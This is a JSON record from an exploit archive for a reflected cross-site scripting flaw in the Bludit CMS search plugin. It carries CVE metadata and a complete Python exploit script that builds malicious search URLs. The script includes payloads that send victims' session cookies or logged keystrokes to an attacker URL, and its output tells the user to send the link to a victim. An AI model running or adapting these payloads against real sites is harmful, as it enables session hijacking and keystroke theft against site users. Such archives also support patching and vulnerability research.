{"exploit":{"id":"EDB-52678","name":"Bludit CMS 3.20.0 - Reflected Cross-Site Scripting (XSS)","description":"Bludit CMS 3.20.0 - Reflected Cross-Site Scripting (XSS)","cves":["CVE-2026-41456"],"author":"Ranjit Kumar Singh","published":"2026-09-02","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52678","path":"exploits/multiple/webapps/52678.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52678.py","vulnerabilities":[{"id":"CVE-2026-41456","state":"PUBLISHED","title":"Bludit CMS Reflected XSS via Search Plugin","titleSource":"CVE Program","description":"Bludit CMS prior to commit 6732dde contains a reflected cross-site scripting vulnerability in the search plugin that allows unauthenticated attackers to inject arbitrary JavaScript by crafting a malicious search query. Attackers can execute malicious scripts in the browsers of users who visit crafted URLs containing the payload, potentially stealing session cookies or performing actions on behalf of affected users.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41456","cvss":{"version":"4.0","baseScore":5.1,"severity":"medium","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41456"},"updatedAt":"2026-11-08T14:03:06.339Z","retrievedAt":"2026-11-25T16:13:34.057Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52678.png?v=2","url":"https://exploitbin.com/exploits/EDB-52678","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52678/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52678/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Bludit CMS  3.20.0 - Reflected Cross-Site Scripting\n# Date: 2026-08-11\n# Exploit Author: [Ranjit Kumar Singh]\n# Vendor Homepage: https://www.bludit.com/\n# Software Link:\nhttps://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip\n# Version: 3.0.0 through 3.20.0 (all versions before commit 6732dde)\n# Tested on: Ubuntu 20.04 / Apache 2.4 / PHP 7.4 / Windows 10 / PowerShell\n# CVE: CVE-2026-41456\n\n\n\"\"\"\nCVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin\nExploit Author: [Ranjit Kumar Singh]\nVendor: https://www.bludit.com/\nSoftware Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip\nVulnerable Versions: Bludit CMS 3.0.0 through 3.20.0 (before commit 6732dde)\nTested on: Ubuntu / Windows / PHP 7.4\nDescription:\n    The search plugin reflects the search term inside an HTML attribute (value=\"...\").\n    To exploit, you must break out of the attribute using \"> and then inject a tag.\n    This script builds a correctly URL-encoded /search/ endpoint URL.\n\nUsage (Windows / Linux):\n    # Use built-in payload types (recommended)\n    python CVE-2026-41456.py -u http://target -t alert\n    python CVE-2026-41456.py -u http://target -t steal -a http://attacker/log\n    python CVE-2026-41456.py -u http://target -t keylog -a http://attacker/log\n\n    # Use -j to provide only JavaScript code (script will add breakout and .gif)\n    python CVE-2026-41456.py -u http://target -j \"alert('XSS')\"          # Linux\n    python CVE-2026-41456.py -u http://target -j 'alert(\"XSS\")'          # Windows (PowerShell)\n\n    # For full control, use -p (must include \"> breakout and .gif suffix)\n    python CVE-2026-41456.py -u http://target -p \"\\\"><img src=1 onerror=alert(1)>.gif\"\n\"\"\"\n\nimport argparse\nimport urllib.parse\nimport sys\nimport webbrowser\n\ndef build_payload(base_url, payload):\n    \"\"\"Build the full XSS URL with the payload placed in the /search/ path.\"\"\"\n    if not base_url.endswith('/'):\n        base_url += '/'\n    encoded_payload = urllib.parse.quote(payload, safe='')\n    full_url = f\"{base_url}search/{encoded_payload}\"\n    return full_url\n\ndef generate_alert_payload():\n    return '\"><img src=1 onerror=alert(\"XSS\")>.gif'\n\ndef generate_steal_cookie_payload(attacker_url):\n    return f'\"><script>document.location=\"{attacker_url}?c=\"+encodeURIComponent(document.cookie)</script>.gif'\n\ndef generate_keylogger_payload(attacker_url):\n    payload = f\"\"\"\n    \"><script>\n    var keys = '';\n    document.onkeypress = function(e) {{\n        keys += e.key;\n        if (keys.length > 50) {{\n            new Image().src = '{attacker_url}?k=' + encodeURIComponent(keys);\n            keys = '';\n        }}\n    }};\n    </script>.gif\n    \"\"\"\n    return ''.join(payload.split())\n\ndef interactive_payload_builder():\n    print(\"[*] Interactive Payload Builder\")\n    print(\"1. Simple Alert (Proof of Concept)\")\n    print(\"2. Steal Cookies (requires attacker URL)\")\n    print(\"3. Keylogger (requires attacker URL)\")\n    print(\"4. Custom JavaScript (you write the code)\")\n    choice = input(\"Select payload type [1-4]: \").strip()\n\n    if choice == \"1\":\n        return generate_alert_payload()\n    elif choice == \"2\":\n        attacker_url = input(\"Enter attacker URL to receive cookies (e.g., http://attacker/log): \").strip()\n        if not attacker_url:\n            print(\"[-] Attacker URL required.\")\n            return None\n        return generate_steal_cookie_payload(attacker_url)\n    elif choice == \"3\":\n        attacker_url = input(\"Enter attacker URL to receive keystrokes: \").strip()\n        if not attacker_url:\n            print(\"[-] Attacker URL required.\")\n            return None\n        return generate_keylogger_payload(attacker_url)\n    elif choice == \"4\":\n        custom = input(\"Enter your JavaScript code (e.g., alert('XSS')): \").strip()\n        if not custom:\n            print(\"[-] Payload cannot be empty.\")\n            return None\n        return f'\"><script>{custom}</script>.gif'\n    else:\n        print(\"[-] Invalid choice.\")\n        return None\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin\"\n    )\n    parser.add_argument(\"-u\", \"--url\", required=True, help=\"Target base URL (e.g., http://target) – script will append /search/\")\n\n    group = parser.add_mutually_exclusive_group(required=True)\n    group.add_argument(\"-p\", \"--payload\", help=\"Custom full payload (must include breakout syntax, e.g., \\\"><img src=1 onerror=alert(1)>.gif)\")\n    group.add_argument(\"-j\", \"--js\", help=\"Raw JavaScript code (script will add '><script>...</script>.gif')\")\n    group.add_argument(\"-t\", \"--type\", choices=[\"alert\", \"steal\", \"keylog\"], help=\"Predefined payload type\")\n    group.add_argument(\"--interactive\", action=\"store_true\", help=\"Interactive payload builder\")\n\n    parser.add_argument(\"-a\", \"--attacker\", help=\"Attacker URL for steal/keylog payloads (required with -t steal or keylog)\")\n    parser.add_argument(\"--open\", action=\"store_true\", help=\"Open the crafted URL in the default browser\")\n\n    args = parser.parse_args()\n\n    base_url = args.url.rstrip('/')\n\n    payload = None\n    if args.payload:\n        payload = args.payload\n    elif args.js:\n        payload = f'\"><script>{args.js}</script>.gif'\n    elif args.type:\n        if args.type == \"alert\":\n            payload = generate_alert_payload()\n        elif args.type == \"steal\":\n            if not args.attacker:\n                print(\"[-] --attacker URL required for steal payload\")\n                sys.exit(1)\n            payload = generate_steal_cookie_payload(args.attacker)\n        elif args.type == \"keylog\":\n            if not args.attacker:\n                print(\"[-] --attacker URL required for keylog payload\")\n                sys.exit(1)\n            payload = generate_keylogger_payload(args.attacker)\n    elif args.interactive:\n        payload = interactive_payload_builder()\n        if payload is None:\n            sys.exit(1)\n    else:\n        parser.print_help()\n        sys.exit(1)\n\n    # Debug: show raw payload before encoding\n    print(f\"[*] Raw payload: {payload}\")\n\n    exploit_url = build_payload(base_url, payload)\n\n    print(f\"[+] Exploit URL generated:\")\n    print(f\"{exploit_url}\")\n    print(\"\\n[+] Instructions:\")\n    print(\"    - Send this URL to a victim (or use --open to test locally).\")\n    print(\"    - The JavaScript will execute in the victim's browser.\")\n\n    if args.open:\n        print(\"[*] Opening URL in default browser...\")\n        webbrowser.open(exploit_url)\n\n    print(\"\\n[+] URL for copy-paste:\")\n    print(exploit_url)\n\nif __name__ == \"__main__\":\n    main()","sha256":"0514e79a4566271bef0ae5d5e574b18b61cb52608ff9fef47df61afef890066e","bytes":6593,"fetchedAt":"2026-11-25T10:17:06.754Z","encoding":"utf-8 (display only; download retains original bytes)"}